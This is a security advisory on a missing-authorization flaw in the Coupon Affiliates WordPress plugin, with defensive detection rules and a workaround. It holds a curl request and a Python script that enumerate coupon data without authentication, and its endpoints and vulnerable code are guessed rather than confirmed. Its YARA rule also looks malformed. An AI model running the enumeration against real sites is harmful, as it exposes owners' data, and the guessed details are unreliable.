CVE-2025-62884

Executive Summary

CVE-2025-62884 is a Missing Authorization vulnerability in the Coupon Affiliates WordPress plugin (by Elliot Sowersby / RelyWP). The plugin, which tracks coupon usage for affiliate programs, fails to properly enforce Access Control Lists (ACLs) on certain functionality. This allows an unauthenticated attacker to access features that should be restricted to authorized users.

The vulnerability affects all versions of the plugin from n/a through 7.2.0. The CVSS score is 5.3 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N. The attack complexity is low, requires no privileges, and no user interaction, but the impact is limited to confidentiality (low) with no impact on integrity or availability.

Given that this is a WordPress plugin vulnerability, it is critical to treat it as a WordPress ecosystem issue. The plugin is likely installed on WooCommerce sites, and the missing authorization could expose sensitive coupon usage data or allow unauthorized access to affiliate-related functionality.

Supply Chain & Package Security

This vulnerability is specific to the Coupon Affiliates WordPress plugin. WordPress plugins are distributed via the official WordPress plugin repository or third-party marketplaces. There is no NPM, PyPI, Go, or Ruby package involved. However, the plugin may be bundled in WordPress themes or managed via Composer for WordPress sites. Administrators should verify the plugin version and ensure no unauthorized modifications have been made to the plugin files.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): Low (L) – Limited information disclosure (e.g., coupon usage data).
• Integrity (I): None (N) – No data modification possible.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ease of exploitation (no authentication) make this a significant risk for WordPress sites using the plugin. Attackers can enumerate coupon usage statistics or access affiliate data without authorization.

Deep Dive & Mechanics

The vulnerability lies in the Coupon Affiliates plugin's failure to properly check user capabilities before allowing access to certain AJAX actions or REST API endpoints. The plugin likely registers WordPress AJAX hooks (both wp_ajax_ and wp_ajax_nopriv_) or REST API routes that expose functionality such as:

• Viewing coupon usage statistics
• Accessing affiliate performance data
• Modifying coupon tracking settings

The missing authorization check means that an unauthenticated user can call these endpoints directly. For example, a typical vulnerable pattern would be:

add_action('wp_ajax_nopriv_get_coupon_stats', 'coupon_affiliates_get_stats');
function coupon_affiliates_get_stats() {
    // No current_user_can() check
    $coupon_id = $_GET['coupon_id'];
    // ... fetch and return data
}

The attacker can craft a simple HTTP request to the WordPress site to trigger this action and retrieve data that should be protected.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability type.

Vulnerable Code (example from plugin):

// In a file like includes/class-coupon-affiliates-ajax.php
add_action('wp_ajax_nopriv_coupon_affiliates_get_usage', 'coupon_affiliates_get_usage');
function coupon_affiliates_get_usage() {
    $coupon_id = intval($_GET['coupon_id']);
    global $wpdb;
    $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}coupon_usage WHERE coupon_id = %d", $coupon_id));
    wp_send_json_success($results);
}

Patched Code (hypothetical fix):

add_action('wp_ajax_coupon_affiliates_get_usage', 'coupon_affiliates_get_usage');
// Remove the nopriv hook to require authentication
function coupon_affiliates_get_usage() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $coupon_id = intval($_GET['coupon_id']);
    global $wpdb;
    $results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}coupon_usage WHERE coupon_id = %d", $coupon_id));
    wp_send_json_success($results);
}

The fix involves:

1. Removing the wp_ajax_nopriv_ hook so that only authenticated users can trigger the action.
2. Adding a capability check (current_user_can('manage_options')) as a defense-in-depth measure.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Coupon Affiliates plugin version <= 7.2.0 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable endpoint. Common patterns include:

   • /wp-admin/admin-ajax.php?action=coupon_affiliates_get_usage&coupon_id=1
   • /wp-json/coupon-affiliates/v1/stats

2. Craft a request using curl:

   curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=coupon_affiliates_get_usage&coupon_id=1"
   

3. If the endpoint returns data without authentication, the vulnerability is confirmed. The attacker can enumerate coupon IDs to extract all usage data.

Automated Exploitation (Python):

import requests
import sys

target = sys.argv[1]
for coupon_id in range(1, 100):
    url = f"{target}/wp-admin/admin-ajax.php?action=coupon_affiliates_get_usage&coupon_id={coupon_id}"
    r = requests.get(url)
    if r.status_code == 200 and "success" in r.text:
        print(f"Coupon {coupon_id}: {r.text}")

Blue Team

Detection:

• Monitor for requests to admin-ajax.php with action parameters that match known Coupon Affiliates actions (e.g., coupon_affiliates_get_usage, coupon_affiliates_get_stats).
• Look for patterns of sequential coupon ID enumeration in logs.

Hunting:

• Search web server logs for admin-ajax.php?action=coupon_affiliates_ from unauthenticated IPs.
• Check for unusual REST API requests to /wp-json/coupon-affiliates/.

Mitigation:

• Since no patch exists, the only mitigation is to disable or remove the plugin until a fix is released.
• Alternatively, use a Web Application Firewall (WAF) rule to block requests to known vulnerable endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /wp-admin/admin-ajax.php with action parameter containing coupon_affiliates_
  • Sequential GET requests to the same endpoint with incrementing coupon_id parameters
  • Unauthenticated access to /wp-json/coupon-affiliates/v1/ endpoints

• File IOCs:

  • Presence of the plugin directory: /wp-content/plugins/coupon-affiliates/
  • Plugin version file: /wp-content/plugins/coupon-affiliates/readme.txt showing version <= 7.2.0

• Log IOCs:

  • Apache/Nginx access logs showing admin-ajax.php requests with coupon_affiliates action from IPs not in the admin range.

Detection Engineering

YARA Rule

rule CVE_2025_62884_Coupon_Affiliates_Missing_Auth {
    meta:
        description = "Detects vulnerable Coupon Affiliates plugin files with missing authorization"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-62884"
    strings:
        $ajax_hook = /add_action\(['\"]wp_ajax_nopriv_.*coupon_affiliates['\"]/
        $no_cap_check = /(?!current_user_can)/
    condition:
        $ajax_hook and #no_cap_check < 1
}

Sigma Rule

title: CVE-2025-62884 - Coupon Affiliates Missing Authorization Exploitation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unauthenticated access to Coupon Affiliates AJAX endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'admin-ajax.php?action=coupon_affiliates_'
        c-ip|notcontains: '127.0.0.1'
    condition: selection
falsepositives:
    - Legitimate admin users accessing the plugin (rare)
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-62884 - Coupon Affiliates Missing Authorization Exploit";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"admin-ajax.php"; http_uri;
    content:"action=coupon_affiliates_"; http_uri;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:cve,2025-62884;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical for business operations.
2. Apply a virtual patch using a WAF to block requests to admin-ajax.php with action parameters starting with coupon_affiliates_ from unauthenticated users.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor (RelyWP) must release a patched version that adds proper capability checks to all AJAX and REST endpoints.
• Until then, consider replacing the plugin with an alternative that has active security maintenance.

Workaround:

• If the plugin cannot be disabled, add the following code to the theme's functions.php to block unauthenticated access:

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX && !is_user_logged_in()) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'coupon_affiliates_') === 0) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing WordPress ecosystems one CVE at a time.